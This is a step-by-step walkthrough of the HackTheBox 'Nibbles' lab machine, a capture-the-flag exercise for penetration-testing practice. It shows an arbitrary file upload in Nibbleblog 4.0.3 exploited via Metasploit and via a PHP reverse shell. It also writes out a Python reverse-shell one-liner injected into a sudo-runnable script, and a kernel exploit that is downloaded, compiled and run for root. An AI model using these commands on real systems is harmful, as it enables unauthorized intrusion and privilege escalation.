Nibbles HackTheBox WalkThrough

This is Nibbles HackTheBox machine walkthrough and is also the 15th machine of our OSCP like HTB boxes series. In this writeup, I have demonstrated step-by-step how I rooted to Nibbles HTB machine in two different ways. One using metasploit and other without metasploit. Before starting let us know something about this machine. It is a Linux box with IP address 10.10.10.75 and difficulty easy assigned by its maker.
This machine is currently retired so you will require VIP subscription at hackthebox.eu to access this machine. First of all, connect your PC with HackTheBox VPN and make sure your connectivity with Nibbles machine by pinging IP 10.10.10.75. If all goes correct then start hacking. As usual, I started by scanning the machine. Used Nmap [a port scanner] for this task and the result is below-
Scanning
$ nmap -sC -sV -oN Nibbles.nmap 10.10.10.75

Nmap revealed two ports as open. OpenSSH is running on port 22 and apache2 webserver is running over port 80. Since port 80 is open so we should have some website running over it and the website can be accessed at URL http://10.10.10.75. Ongoing to this website found a blank page containing two words Hello World! and nothing is present on this page. As usual, I checked the page source for some hint in the comment section and luckily this time found some interesting comment. The comment contains URI of this website which is /nibbleblog/.

Now, we have a new URL to explore over, viz. http://10.10.10.75/nibbleblog/. This URL has nibbleblog CMS installed to it. When I get any CMS then my next step is to check whether the CMS is open source or closed source, its version number and then search for available vulnerability and its exploit on exploit-db using searchsploit. If it is open source CMS then we can simply get its source code at GitHub and check its directory structure as well as file & folder names. This prevents us from bruteforcing for files & folders on our target website. We can also search for the particular file at the website which we see on GitHub.

A simple googling revealed that it is an open source CMS and its source code is present at GitHub. After some further enumeration got version of this CMS a https://10.10.10.75/nibbleblog/update.php.

So we have Nibbleblog v4.0.3. Now we can simply search for available exploits for this version through searchsploit (tool to query exploit-db).
Searching for available exploit
$ searchsploit nibbleblog 4.0.3

Searchsploit revealed that this version is effected with Arbitrary File Upload and there is also a metasploit module available for this exploit. Let us check the requirement for this module and exploit this vulnerability using metasploit.
$ sudo msfdb run
msf6 > search nibbleblog
mdf6 > info use exploit/multi/http/nibbleblog_file_upload

The metasploit module is exploit/multi/http/nibbleblog_file_upload. This module requires username and password to work. But we don’t have any credentials enumerated so far. Since this is a CMS just like we have WordPress so there should also be a login panel that is used to manage this website. After some more enumeration got login panel at http://10.10.10.75/nibbleblog/admin.php. Tried some default credentials like admin: admin, admin: password, admin: nibbles and luckily admin: nibbles worked. So we have got the credential of admin user. Now we can exploit this vulnerability using metasploit to gain access to nibbles box. I exploited this vulnerability in two different ways. First through metasploit and second without metasploit. Let us get user shell using metasploit.
Getting User Shell Using Metasploit – Method 1
msf6 > use exploit/multi/http/nibbleblog_file_upload
msf6 exploit(multi/http/nibbleblog_file_upload) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS 10.10.10.75
msf6 exploit(multi/http/nibbleblog_file_upload) > set LHOST 10.10.14.3
msf6 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog/
msf6 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit

We have got user shell using metasploit. Let us exploit this vulnerability without metasploit. You can get more information about this vulnerability and its PoC from here. According to this file upload vulnerability an attacker can upload any malicious script using My image plugin and can execute it because any file uploaded through My Image plugin saves it as its original extension. Check this snippet from curesec.com

Getting User Shell Without Metasploit – Method 2
To get user shell do the following things.
1. Log in into admin panel at http://10.10.10.75/nibbleblog/admin.php using the credential admin: nibbles.
2. Click on Plugins on left pane and click on configure under My Image plugin name.
3. Upload php-reverse-shell.php and click on Save changes to apply the changes. Php webshell can be found in the directory /usr/share/webshells/php/. Don’t forget to replace the IP address of shell by your tun0 IP before uploading.
4. Start netcat listener on kali machine to accept the reverse connection from this php shell.
5. Access URL http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php to execute the shell. That’s all, you will have a shell now.
1. Login into admin

2. Click on plugins and then Configure under My Image

3. Upload the shell.

4. Start netcat listener
$ nc -nvlp 8888
5. Execute the uploaded shell
$ curl http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
6. Check the user and its ID after getting shell.
$ whoami && id

We have got a user shell. Let us upgrade it to fully qualified Linux shell so that we can run more advanced Linux command through it.
Upgrading Shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
$ ^Z #Press CTRL+Z to background the shell
$ stty raw -echo
$ fg # And press two times enter to foreground the shell

Capture User Flag
$cat /home/nibbler/user.txt

Privilege Escalation
To escalate privilege to root we have to first find a privilege escalation vector using which we can escalate privilege. There are two ways by which you can find privilege escalation vector. Either use some post exploitation enumeration scripts like Linpeas, LinEnum, linux-exploit-suggester, etc. or perform enumeration manually.
Finding PrivEsc Vector
sudo -l command revealed that user nibbler can run monitor.sh as root user, which means that any command that requires root privilege to execute if put inside the script monitor.sh can be executed by user nibbler without asking password. Suppose if we are putting some command like $ sudo python3 inside this file then if we run this script as root user it won’t ask for password.
$ sudo -l

monitor.sh file is present inside the personal.zip folder. So we have to unzip personal.zip to execute monitor.sh script. If you don’t want to unzip this folder you can simply create another monitor.sh file inside directory personal/stuff/. But you have to create personal and stuff folder also because they are not previously present. I am going to use the same monitor.sh which I got after unzipping personal.zip.
$ unzip personal.zip

monitor.sh script can be read, write and executed by user nibbler because it has rwx permission.
$ find . -ls

Since user nibbler can modify this file so he can also put some reverse shell code into this file and if this file will be run as root then the reverse shell code will also be executed as root and we can get shell on our netcat listener. I did the same things and got root shell. So here our privilege escalation vector is getting root by Sudo Right Exploitation.
This box is also vulnerable to kernel exploit which I came to know when I ran linux-exploit-suggester to find some privilege escalation vector. For more information about this kernel exploit check CVE-2017-16995. So we have also two ways to root this box and that’s what we are going to do the very next. First by using Sudo Right Exploitation and second by using Kernel Exploit.

Getting Root Shell via Sudo Right Exploitation – Method 1
To get root shell I did the following things.
On Kali Machine
1. Started netcat listener.
$ nc -nvlp 1234
On Nibbles Machine
2. Changed the directory to personal/stuff/ [Make sure you have already extracted the folder personal.zip or have created the file monitor.sh]
3. Put the following reverse shell code into monitor.sh
sudo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'4. Execute the script as root. Ignore the connection time-out error.
$ cd personal/stuff/
$ nano monitor.sh
$ grep -i "sudo python3" monitor.sh
$ sudo -u root ./monitor.sh

We are root now.
Getting Root Shell via Kernel Exploit – Method 2
To get root shell via Kernel Exploit I did the following things.
On Kali Machine
1. Downloaded the exploit from exploit-db.
2. Started python http server to host this file
$ curl https://www.exploit-db.com/download/45010 -o exploit.c
$ sudo python3 -m http.server 80

On Nibbles Machine
4. Changed the directory to public writable directory viz., /dev/shm
5. Downloaded the exploit from my kali machine
6. Compiled the exploit
7. Finally run it.
$ cd /dev/shm
$ wget http://10.10.14.3/exploit.c
$ gcc exploit.c
$ ./a.out
# whoami

We have successfully got root. Let us capture root flag.
Capture Root Flag
# cat /root/root.txt

This was how I rooted to the Nibbles HackTheBox machine. Learnt a lot during this challenge. Hope you guys have also learnt some new things. Thanks for reading this walkthrough. Share your experience in the comment section. For any query and suggestion about the writeup feel free to write us at [email protected].
